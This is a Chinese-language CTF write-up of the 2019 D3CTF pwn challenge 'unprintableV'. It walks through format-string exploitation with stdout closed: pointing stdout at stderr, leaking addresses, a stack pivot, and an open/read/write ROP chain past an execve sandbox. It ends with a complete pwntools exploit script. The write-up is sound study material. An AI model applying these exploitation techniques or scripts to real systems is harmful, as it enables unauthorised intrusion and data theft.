unprintableV
这是2019 d3ctf的一道pwn题,由于当时知识储备不够没做出来,赛后就好好研究,从中学到了新的知识
本题用到的知识有:ROP、stdout指针与stderr指针、栈迁移、格式化字符串漏洞
首先,我们检查一下程序的保护机制
除了canary,其它的保护都开了
然后,我们用IDA分析一下
这个沙箱函数,把execve函数给禁用了,所以,我们不能getshell,但是我们可以构造ROP链来把flag读取后再打印出来
这是一个及其简单的程序,但是它的exp脚本会复杂的让你疯狂
程序一开始给了我们a的地址,也就是menu的ebp-0x8的值,接着close(1)把文件描述符1标准输出给关了,那么之后如果调用输出函数,将不能输出出来。
然后,我们看看vuln函数,存在一个很明显的格式化字符串漏洞,但是由于这里字符串是存储在bss段的buf里,导致这个格式化字符串漏洞不是那么容易利用。
如果我们想实现任意地址写,还得先在栈上特殊构造一下。
但是,由于标准输出被关闭了,导致信息泄露不出来。4
但或许有什么办法可以解决,我们来看看printf的源代码
- /* Write formatted output to stdout from the format string FORMAT. */
- /* VARARGS1 */
- int
- __printf (const char *format, ...)
- {
- va_list arg;
- int done;
- va_start (arg, format);
- done = vfprintf (stdout, format, arg);
- va_end (arg);
- return done;
- }
printf实际是调用fprintf,并且传入了stdout指针,我们来看看stdout指针是如何定义的
- #include "libioP.h"
- #include "stdio.h"
- #undef stdin
- #undef stdout
- #undef stderr
- _IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
- _IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
- _IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
- #undef _IO_stdin
- #undef _IO_stdout
- #undef _IO_stderr
- #define AL(name) AL2 (name, _IO_##name)
- #define AL2(name, al) \
- extern __typeof (name) al __attribute__ ((alias (#name), \
- visibility ("hidden")))
- AL(stdin);
- AL(stdout);
- AL(stderr);
而stdout、stdin、stderr这些是全局指针,因此,它们肯定存在于内存中的某个地方,bss段,我们要是能把stdout指针指向_IO_2_1_stderr_,那么就能输出了,_IO_2_1_stderr_内部使用的文件描述符是2,而_IO_2_1_stdout_内部使用的文件描述符是1,它们在正常情况下,都向终端屏幕输出,因此,我们希望吧stdout指针指向_IO_2_1_stderr_,我们在程序的bss段看到了这三个指针
这三个指针是程序在运行时装载上去的,就犹如GOT表的装载一样,然后程序中只要用到这三个指针,都是从这里访问获取指针的值
下方不远处是buf
由于程序告诉了我们buf的地址,那么通过低字节覆盖,我们也能得到stderr、stdin、stdout这三个指针自己的地址。
那么,我们该如何确定格式化字符串里参数在栈中的位置,比如%6$p这些?
我们可以在本地先把close(1)给nop掉,再利用%p-%p-%p-%p-%p-%p-%p-%p-%p-%p…来确定。最后测试时,重新拿原文件来测试
假如,我们通过格式化字符串漏洞把这个数据低字节修改,使得它成为stdout指针的地址,那么我们就能利用printf把stdout指针的内容改变,指向_IO_2_1_stderr_。但是,我们该如何来低字节修改这个数据呢?我们可以再借助这两个
我们可以先往0x7FFF7543E1D0里低字节覆盖,使得0x7FFF7543E1D0里的数据为0x7FFF7543E1C8,即buf指针a的地址
然后,我们就能利用%t$hhn来对0x7FFF7543E1C8地址处写入了,我们先把a指向stdout
- sh.recvuntil('0x')
- #获得a指针的地址
- stack = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack)
- payload = '%' + str(stack & 0xFF) + 'c%6$hhn'
- sh.recvuntil('may you enjoy my printf test!\n')
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- #注意,休眠是必要的
- time.sleep(0.5)
- payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
由于没有任何操作成功的提示,我们需要休眠一下,再继续发送数据
现在,我们看看栈里的布局,(我们重新运行了程序,所以和前面的图有些不一样)
a指针成功指向了stdout指针,那么现在stdout指针的地址也在栈里了,我们就能继续利用printf,修改stdout指针的值了,我们只需低2个字节覆盖即可
- #注意,休眠是必要的
- time.sleep(0.5)
- payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
我们之所以写_IO_2_1_stderr_ & 0xFFF 而不写_IO_2_1_stderr_ & 0xFFFF的原因是,经过调试,发现_IO_2_1_stderr_ & 0xFFFF,printf执行后没有成功修改数据,可能是因为数据太大的原因,注意,我们对stdout指针的修改必须一次完成,因为,如果我们分开的话,由于stdout指针修改了,所以在没完成全部修改之前,stdout就指向了其他地方,不是FILE结构体,导致printf执行错误崩溃
我们通过_IO_2_1_stderr_ & 0xFFF和%9$hn,最终导致stdout指针的值的倒数第四个十六进制数为0,由于PIE的存在,我们有1/16的可能,使得stdout指针正好指向_IO_2_1_stderr_结构体
如上图,这次,我们没有成功让stdout指向_IO_2_1_stderr_,但是,只要我们不断的爆破,总有一次会成功,然后printf就可以正常输出了。
我们利用这种方式检验是否成功指向_IO_2_1_stderr_
- #休眠是必要的
- time.sleep(0.2)
- sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00'))
- x = sh.recvuntil('aa',timeout=0.5)
- if 'aa' not in x:
- raise Exception('retry')
假设我们已经成功将stdout指针指向了_IO_2_1_stderr_结构体,接下来,我们就要来泄露信息了
泄露这些信息,分别计算程序基址和libc基址,以及其他一些gadget和函数的地址
- #泄露main+0x2D的地址
- payload = '%11$p%15$pTAG'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- sh.recvuntil('0x')
- main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D
- elf_base = main_addr - main_s
- pop_rsi_addr = pop_rsi + elf_base
- pop_rdi_addr = pop_rdi + elf_base
- buf_addr = buf_s + elf_base
- leave_addr = leave + elf_base
- #泄露__libc_start_main+E7的地址
- __libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7
- libc_base = __libc_start_main_addr - __libc_start_main
- open_addr = libc_base + open_s
- read_addr = libc_base + read_s
- write_addr = libc_base + write_s
- pop_rdx_addr = libc_base + pop_rdx
- print 'elf_base=',hex(elf_base)
- print 'libc_base=',hex(libc_base)
以上的一些地址,我们在构造rop链实现如下代码,需要用到的
- fd = open("flag",0);
- read(fd,buf+0x100,0x30);
- write(2,buf+0x100,0x30);
如果全都用printf格式化漏洞来对栈里面写ROP链,那么会比较麻烦,因此,我们决定把ROP链放入bss段的buf里面,然后修改ebp,将栈转移到buf里去
那么,我们该如何做栈转移呢?
如图,我们通过%6$hhn来将10的位置的数据低字节覆盖,使得10的数据为12的地址,然后我们就可以通过%10$hhn来依次修改12的数据,当我们需要修改12的前一个字节时,只需再通过%6$hhn来改变10的数据,然后用%10$hhn来继续对12的前一个字节写。
- def write_i(sh,stack,index,addr):
- i = 0
- while addr > 0:
- sh.recvuntil('TAG')
- #设定栈顶向下第10个数据为stack+0x8*index
- payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG'
- sh.sendline(payload)
- sh.recvuntil('TAG')
- data = addr & 0xFF
- payload = '%' + str(data) + 'c%10$hhnTAG'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- addr = addr >> 8
- i+=1
然后,我们这样调用
- #我们修改main的rbp,做栈迁移
- write_i(sh,stack,3,buf_addr)
- #这次,我们写main的返回地址,也就是main ebp后面那个空间
- write_i(sh,stack,4,leave_addr)
其中leave_addr地址处是指令leave;retn,而leave指令相当于
- mov rsp,rbp
- pop rbp
这样,当main函数执行到leave时,有
- mov rsp,rbp
- pop rbp
那么,ebp的值变成了我们的buf地址,但是esp还没有指向buf,于是,我们就在接下来的返回地址覆盖为leave_addr,让它再执行一次leave,那么有
- mov rsp,rbp
- pop rbp
现在,rsp指向了buf,但是rbp变成buf[0]的数据,这没什么问题,因为,做栈迁移,我们只需保证rsp指向了指定位置即可,由于pop rbp,rsp要加8,也就是说,这里执行后,rsp指向了buf+8处,retn就会从buf+8处取出一个数据当成地址,跳到那个地址处去执行,因此,我们只需在buf+8处写ROP链即可。
为了能够正常到达main的栈中rbp数据处,我们需要复原menu在栈中的rbp数据
- #我们需要复原menu的rbp
- payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG'
- sh.sendline(payload)
构造ROP时,有些gadget可能在程序二进制文件里没有,我们可以去libc.so.6中找找。只需利用ROPgadget工具即可
ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdx'
然后,我们就开始构造ROP链了
- #现在当退出main时,栈就会转移到buf里去
- rop = 'd^3CTF'.ljust(8,'\x00')
- #rsi = 0
- rop += p64(pop_rsi_addr) + p64(0) + p64(0)
- #rdi = 'flag',我们把flag字符串存到buf+0xC8处
- rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8)
- #open
- rop += p64(open_addr)
- #rdx = 0x30
- rop += p64(pop_rdx_addr) + p64(0x30)
- #rdi = buf + 0x100,我们把读取的结果存在buf+0x100处
- rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
- #fd = 1,文件描述符1是现在对应打开的flag文件
- rop += p64(pop_rdi_addr) + p64(1)
- #read
- rop += p64(read_addr)
- #rdx = 0x30
- rop += p64(pop_rdx_addr) + p64(0x30)
- #rdi = buf + 0x100
- rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
- #fd = 2,文件描述符2是stderr
- rop += p64(pop_rdi_addr) + p64(2)
- #write
- rop += p64(write_addr)
- rop = rop.ljust(0xC8,'\x00')
- #存入flag字符串
- rop += 'flag\x00'
- rop = rop.ljust(0x12C-1,'\x00')
- sh.sendline(rop)
我们在开头写入了d^3CTF\x00,使得经过printf后,程序检测到d^3CTF,就直接退出main,就能执行我们的ROP链了,这样一次性搞定
需要注意的是文件描述符1对应了我们打开的flag文件,因为之前close(1),所以当我们open时,1就会被利用起来。也可以具体调试一下,得到文件描述符。
综上,我们的exp脚本
- #coding:utf8
- from pwn import *
- import time
- elf = ELF('./unprintableV')
- libc = ELF('./libc.so.6')
- stdout_bss = elf.symbols['stdout']
- _IO_2_1_stderr_ = libc.symbols['_IO_2_1_stderr_']
- __libc_start_main = libc.sym['__libc_start_main']
- main_s = elf.symbols['main']
- buf_s = elf.symbols['buf']
- open_s = libc.sym['open']
- read_s = libc.sym['read']
- write_s = libc.sym['write']
- #pop rsi
- #pop r15
- #retn
- pop_rsi = 0xBC1
- #pop rdi
- #retn
- pop_rdi = 0xBC3
- #leave
- #retn
- leave = 0xB56
- #libc.so.6中
- #pop rdx ;ret
- pop_rdx = 0x1b96
- def write_i(sh,stack,index,addr):
- i = 0
- while addr > 0:
- #sh.recvuntil('TAG')
- #设定栈顶向下第10个数据为stack+0x8*index
- payload = '%' + str((stack + 0x8*index + i) & 0xFF) + 'c%6$hhnTAG'
- sh.sendline(payload)
- sh.recvuntil('TAG')
- data = addr & 0xFF
- payload = '%' + str(data) + 'c%10$hhnTAG'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- sh.recvuntil('TAG')
- addr = addr >> 8
- i+=1
- def crack(sh):
- sh.recvuntil('0x')
- #获得a指针的地址
- stack = int(sh.recvuntil('\n',drop=True),16)
- print hex(stack)
- payload = '%' + str(stack & 0xFF) + 'c%6$hhn'
- sh.recvuntil('may you enjoy my printf test!\n')
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- #注意,休眠是必要的
- time.sleep(0.5)
- payload = '%' + str(stdout_bss & 0xFF) + 'c%10$hhn'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- #注意,休眠是必要的
- time.sleep(0.5)
- payload = '%' + str(_IO_2_1_stderr_ & 0xFFF) + 'c%9$hn'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- #休眠是必要的
- time.sleep(0.2)
- sh.sendline('aaaaaaa'.ljust(0x12C-1,'\x00'))
- x = sh.recvuntil('aa',timeout=0.5)
- if 'aa' not in x:
- raise Exception('retry')
- #泄露main+0x2D的地址
- payload = '%11$p%15$pTAG'
- sh.sendline(payload.ljust(0x12C-1,'\x00'))
- sh.recvuntil('0x')
- main_addr = int(sh.recvuntil('0x',drop=True),16) - 0x2D
- elf_base = main_addr - main_s
- pop_rsi_addr = pop_rsi + elf_base
- pop_rdi_addr = pop_rdi + elf_base
- buf_addr = buf_s + elf_base
- leave_addr = leave + elf_base
- #泄露__libc_start_main+E7的地址
- __libc_start_main_addr = int(sh.recvuntil('TAG',drop=True),16) - 0xE7
- libc_base = __libc_start_main_addr - __libc_start_main
- open_addr = libc_base + open_s
- read_addr = libc_base + read_s
- write_addr = libc_base + write_s
- pop_rdx_addr = libc_base + pop_rdx
- print 'elf_base=',hex(elf_base)
- print 'libc_base=',hex(libc_base)
- #我们修改main的rbp,做栈迁移
- write_i(sh,stack,3,buf_addr)
- #这次,我们写main的返回地址,也就是main ebp后面那个空间
- write_i(sh,stack,4,leave_addr)
- #我们需要复原menu的rbp
- payload = '%' + str((stack + 0x18) & 0xFF) + 'c%6$hhnTAG'
- sh.sendline(payload)
- #现在当退出main时,栈就会转移到buf里去
- rop = 'd^3CTF'.ljust(8,'\x00')
- #rsi = 0
- rop += p64(pop_rsi_addr) + p64(0) + p64(0)
- #rdi = 'flag',我们把flag字符串存到buf+0xC8处
- rop += p64(pop_rdi_addr) + p64(buf_addr + 0xC8)
- #open
- rop += p64(open_addr)
- #rdx = 0x30
- rop += p64(pop_rdx_addr) + p64(0x30)
- #rdi = buf + 0x100,我们把读取的结果存在buf+0x100处
- rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
- #fd = 1,文件描述符1是现在对应打开的flag文件
- rop += p64(pop_rdi_addr) + p64(1)
- #read
- rop += p64(read_addr)
- #rdx = 0x30
- rop += p64(pop_rdx_addr) + p64(0x30)
- #rdi = buf + 0x100
- rop += p64(pop_rsi_addr) + p64(buf_addr+0x100) + p64(0)
- #fd = 2,文件描述符2是stderr
- rop += p64(pop_rdi_addr) + p64(2)
- #write
- rop += p64(write_addr)
- rop = rop.ljust(0xC8,'\x00')
- #存入flag字符串
- rop += 'flag\x00'
- rop = rop.ljust(0x12C-1,'\x00')
- sh.sendline(rop)
- sh.interactive()
- while True:
- try:
- sh = process('./unprintableV',env={"LD_PRELOAD":"./libc.so.6"})
- crack(sh)
- except BaseException as e:
- print e
- sh.kill()
- print 'retrying...'